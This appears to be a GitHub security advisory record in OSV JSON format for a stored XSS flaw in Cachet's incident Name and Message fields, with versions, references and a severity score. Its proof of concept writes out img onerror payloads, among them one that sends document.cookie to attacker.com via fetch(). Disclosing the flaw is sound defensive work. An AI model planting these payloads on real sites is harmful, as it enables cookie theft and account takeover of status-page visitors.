{"id":"GHSA-x397-5hrv-j9m9","summary":"Cachet has Stored XSS in Incident Component","details":"### Summary\nA stored Cross-Site Scripting (XSS) vulnerability exists in the incident creation form, allowing an authenticated attacker to inject malicious HTML/JavaScript that executes in the browser of any user who views the status page, potentially leading to session token theft and account takeover.\n\n### Details\nThe incident Name and Message fields do not properly sanitize HTML  event handler attributes. While \u003cscript\u003e tags appear to be filtered, event-based payloads are not blocked.\n\nAffected endpoint: /dashboard/incidents/\nAffected fields: Incident Name, Incident Message\nAffected version: Cachet v3\n\n### PoC\n\n1. Log in as an authenticated user\n2. Navigate to /dashboard/incidents/\n3. Create a new incident\n4. Insert the following payloads in the Name and Message field:\n\nPayload 1 — Confirm XSS execution:\n```\u003cimg src=x onerror=\"alert(1)\"\u003e```\n\nStep 2 — Cookie/token exfiltration:\n```\u003cimg src=x onerror=\"fetch('http://attacker.com/leak?c='+document.cookie)\"\u003e```\n\nStep 3 — Forced redirect to sensitive page:\n```\u003cimg src=x onerror=\"window.location='/dashboard/manage-customization'\"\u003e```\n\n5. Save the incident\n6. Navigate to the public status page\n7. Payload executes in the victim's browser\n### Payload 1 \n\u003cimg width=\"1926\" height=\"1062\" alt=\"Screenshot_2026-05-05_21_19_21\" src=\"https://github.com/user-attachments/assets/3ec50987-332d-4ba2-8fd2-b18ccc8d8f6b\" /\u003e\n\n### Payload 2\n\u003cimg width=\"1910\" height=\"525\" alt=\"Screenshot_2026-05-07_12_22_07\" src=\"https://github.com/user-attachments/assets/3b34170d-a2f0-4962-9e20-1fc8e305c589\" /\u003e\n\n\n\nStored XSS affecting all users who view the public status page.\n\nAn attacker can:\n- Confirm script execution via alert popup\n- Steal session cookies and XSRF tokens from authenticated users\n- Silently redirect victims to sensitive pages like `/dashboard/manage-customization`\n\nThis vulnerability could lead to full account takeover of any user who views the status page, including administrators.","aliases":["CVE-2026-113712"],"modified":"2026-10-20T21:15:04.024300311Z","published":"2026-10-20T21:09:40Z","database_specific":{"github_reviewed_at":"2026-10-20T21:09:40Z","nvd_published_at":null,"cwe_ids":["CWE-79"],"severity":"MODERATE","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/cachethq/cachet/security/advisories/GHSA-x397-5hrv-j9m9"},{"type":"WEB","url":"https://github.com/cachethq/core/commit/23adbb88ffa819f92be4a905ff1d812670d980a2"},{"type":"WEB","url":"https://github.com/cachethq/core/commit/57b44a8bac0b250b0d5751e93e0349070d14606e"},{"type":"PACKAGE","url":"https://github.com/cachethq/cachet"}],"affected":[{"package":{"name":"cachethq/cachet","ecosystem":"Packagist","purl":"pkg:composer/cachethq/cachet"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.4.1"}]}],"versions":["v0.1.0-alpha","v1.0.0","v1.1.0","v1.1.1","v1.2.0","v1.2.1","v2.0.0","v2.0.0-RC1","v2.0.0-RC2","v2.0.0-RC3","v2.0.0-RC4","v2.0.0-RC5","v2.0.0-beta1","v2.0.0-beta2","v2.0.1","v2.0.2","v2.0.3","v2.0.4","v2.1.0","v2.1.0-RC1","v2.1.0-RC2","v2.1.1","v2.1.2","v2.2.0","v2.2.0-RC1","v2.2.1","v2.2.2","v2.2.3","v2.2.4","v2.3.0","v2.3.0-RC1","v2.3.0-RC2","v2.3.0-RC3","v2.3.0-RC4","v2.3.0-RC5","v2.3.0-RC6","v2.3.1","v2.3.10","v2.3.11","v2.3.12","v2.3.13","v2.3.14","v2.3.15","v2.3.16","v2.3.17","v2.3.18","v2.3.2","v2.3.3","v2.3.4","v2.3.5","v2.3.6","v2.3.7","v2.3.8","v2.3.9","v2.4.0","v2.4.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-x397-5hrv-j9m9/GHSA-x397-5hrv-j9m9.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"}]}